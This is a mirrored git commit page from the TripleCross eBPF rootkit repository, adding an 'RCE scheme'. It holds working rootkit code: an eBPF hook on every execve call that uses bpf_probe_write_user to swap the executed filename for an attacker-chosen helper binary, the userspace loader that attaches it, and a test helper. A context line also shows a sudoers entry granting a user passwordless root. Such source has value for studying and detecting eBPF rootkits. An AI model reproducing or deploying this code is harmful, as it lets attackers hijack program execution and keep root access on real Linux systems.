mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-16 23:33:06 +08:00
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -18,4 +18,8 @@
|
||||
#define STRING_FS_SUDOERS_ENTRY "test ALL=(ALL:ALL) NOPASSWD:ALL #"
|
||||
#define STRING_FS_SUDOERS_ENTRY_LEN 34
|
||||
|
||||
//EXECUTION HIJACKING
|
||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
||||
|
||||
|
||||
#endif
|
||||
@@ -12,23 +12,96 @@
|
||||
#include "defs.h"
|
||||
#include "../utils/strings.h"
|
||||
|
||||
#define NUMBER_ARGUMENTS_PARSED 12
|
||||
#define ARGUMENT_LENGTH 64
|
||||
|
||||
|
||||
/**
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/format
|
||||
*/
|
||||
struct sys_execve_enter_ctx {
|
||||
unsigned long long unused;
|
||||
int __syscall_nr;
|
||||
unsigned int padding;
|
||||
char* filename;
|
||||
const char* const* argv;
|
||||
const char* filename;
|
||||
const char* const* envp;
|
||||
};
|
||||
|
||||
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
||||
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
//unsigned char* envp[PROGRAM_LENGTH] = {0};
|
||||
unsigned char filename[ARGUMENT_LENGTH] = {0};
|
||||
if(ctx==NULL || ctx->argv == NULL){
|
||||
return -1;
|
||||
}
|
||||
if(bpf_probe_read_user(&argv, ARGUMENT_LENGTH, ctx->argv)<0){
|
||||
bpf_printk("Error reading 1\n");
|
||||
};
|
||||
/*if(bpf_probe_read_user(&envp, PROGRAM_LENGTH, ctx->envp)<0){
|
||||
bpf_printk("Error reading 2\n");
|
||||
};*/
|
||||
if(bpf_probe_read_user(&filename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||
bpf_printk("Error reading 3\n");
|
||||
};
|
||||
|
||||
bpf_printk("ARGV0: %s\n", argv[0]);
|
||||
bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
//bpf_printk("ENVP: %s\n", envp);
|
||||
bpf_printk("FILENAME: %s\n", filename);
|
||||
|
||||
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
|
||||
//return 0;
|
||||
}
|
||||
|
||||
bpf_printk("Our file!\n");
|
||||
/*
|
||||
eBPF can only modify user memory, and thus we may find ourselves into trouble here
|
||||
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
|
||||
we receive an userspace buffer, but this is later tweaked via getname().
|
||||
Thus we may not have user-accessible memory, however from my experience it works _sometimes_.
|
||||
The idea is to hook all execve calls, but the first execution of our userspace helper will
|
||||
deactivate this hook.
|
||||
Also another solution could be to hook do_execve and access the filename struct, which still contians
|
||||
an userspace buffer inside.
|
||||
*/
|
||||
|
||||
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
|
||||
|
||||
#pragma unroll
|
||||
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
|
||||
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
|
||||
}
|
||||
|
||||
bpf_printk("To write: %s\n", to_write);
|
||||
|
||||
long ret = bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM));
|
||||
if(ret<0){
|
||||
bpf_printk("Error writing to user memory %i\n", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
|
||||
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||
bpf_printk("Error reading 3\n");
|
||||
};
|
||||
bpf_printk("NEW FILENAME: %s\n", newfilename);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
SEC("tp/syscalls/sys_enter_execve")
|
||||
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
return handle_tp_sys_enter_execve(ctx, pid_tgid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -32,31 +32,6 @@ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, in
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Implementation of strncpy from the Linux Kernel.
|
||||
* strncpy - Copy a length-limited, C-string
|
||||
* @dest: Where to copy the string to
|
||||
* @src: Where to copy the string from
|
||||
* @count: The maximum number of bytes to copy
|
||||
*
|
||||
* The result is not %NUL-terminated if the source exceeds
|
||||
* @count bytes.
|
||||
*
|
||||
* In the case where the length of @src is less than that of
|
||||
* count, the remainder of @dest will be padded with %NUL.
|
||||
*
|
||||
*/
|
||||
static __always_inline char* str_n_copy(char *dest, const char *src, int count){
|
||||
char *tmp = dest;
|
||||
|
||||
while (count) {
|
||||
if ((*tmp = *src) != 0)
|
||||
src++;
|
||||
tmp++;
|
||||
count--;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -36,6 +36,7 @@
|
||||
//BPF modules to load
|
||||
#include "include/bpf/sched.h"
|
||||
#include "include/bpf/fs.h"
|
||||
#include "include/bpf/exec.h"
|
||||
|
||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||
#define ETH_ALEN 6
|
||||
|
||||
Binary file not shown.
@@ -1,9 +1,23 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char* argv[]){
|
||||
printf("Hello world from execve hijacker\n");
|
||||
for(int ii=0; ii<argc; ii++){
|
||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||
}
|
||||
|
||||
int fd = open("/tmp/testcreated", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
||||
|
||||
int ii = 0;
|
||||
while(*(argv[0]+ii)!='\0'){
|
||||
write(fd, argv[0]+ii, 1);
|
||||
ii++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
34
src/user/include/modules/exec.h
Normal file
34
src/user/include/modules/exec.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#ifndef __MOD_EXEC_H
|
||||
#define __MOD_EXEC_H
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include "common.h"
|
||||
#include "kit.skel.h"
|
||||
|
||||
//Connections
|
||||
int attach_tp_sys_enter_execve(struct kit_bpf *skel){
|
||||
skel->links.tp_sys_enter_execve = bpf_program__attach(skel->progs.tp_sys_enter_execve);
|
||||
return libbpf_get_error(skel->links.tp_sys_enter_execve);
|
||||
}
|
||||
|
||||
int attach_exec_all(struct kit_bpf *skel){
|
||||
return attach_tp_sys_enter_execve(skel);
|
||||
}
|
||||
|
||||
|
||||
int detach_tp_sys_enter_execve(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.tp_sys_enter_execve);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int detach_exec_all(struct kit_bpf *skel){
|
||||
return detach_tp_sys_enter_execve(skel);
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -2,6 +2,7 @@
|
||||
#include "xdp.h"
|
||||
#include "sched.h"
|
||||
#include "fs.h"
|
||||
#include "exec.h"
|
||||
|
||||
module_config_t module_config = {
|
||||
.xdp_module = {
|
||||
@@ -17,6 +18,10 @@ module_config_t module_config = {
|
||||
.tp_sys_enter_read = OFF,
|
||||
.tp_sys_exit_read = OFF,
|
||||
.tp_sys_enter_openat = OFF
|
||||
},
|
||||
.exec_module = {
|
||||
.all = ON,
|
||||
.tp_sys_enter_execve = OFF
|
||||
}
|
||||
|
||||
};
|
||||
@@ -28,7 +33,8 @@ module_config_attr_t module_config_attr = {
|
||||
.flags = -1
|
||||
},
|
||||
.sched_module = {},
|
||||
.fs_module = {}
|
||||
.fs_module = {},
|
||||
.exec_module = {}
|
||||
};
|
||||
|
||||
|
||||
@@ -64,6 +70,14 @@ int setup_all_modules(){
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//EXEC
|
||||
if(config.exec_module.all == ON){
|
||||
ret = attach_exec_all(attr.skel);
|
||||
}else{
|
||||
if(config.exec_module.tp_sys_enter_execve == ON) ret = attach_tp_sys_enter_execve(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -30,6 +30,11 @@ typedef struct module_config_t{
|
||||
char tp_sys_enter_openat;
|
||||
}fs_module;
|
||||
|
||||
struct exec_module {
|
||||
char all;
|
||||
char tp_sys_enter_execve;
|
||||
}exec_module;
|
||||
|
||||
} module_config_t;
|
||||
|
||||
//Configuration struct. Used by the module manager to
|
||||
@@ -49,6 +54,10 @@ typedef struct module_config_attr_t{
|
||||
void* __empty;
|
||||
}fs_module;
|
||||
|
||||
struct exec_module_attr {
|
||||
void* __empty;
|
||||
}exec_module;
|
||||
|
||||
} module_config_attr_t;
|
||||
|
||||
//An unique module configutation struct and attr
|
||||
|
||||
Reference in New Issue
Block a user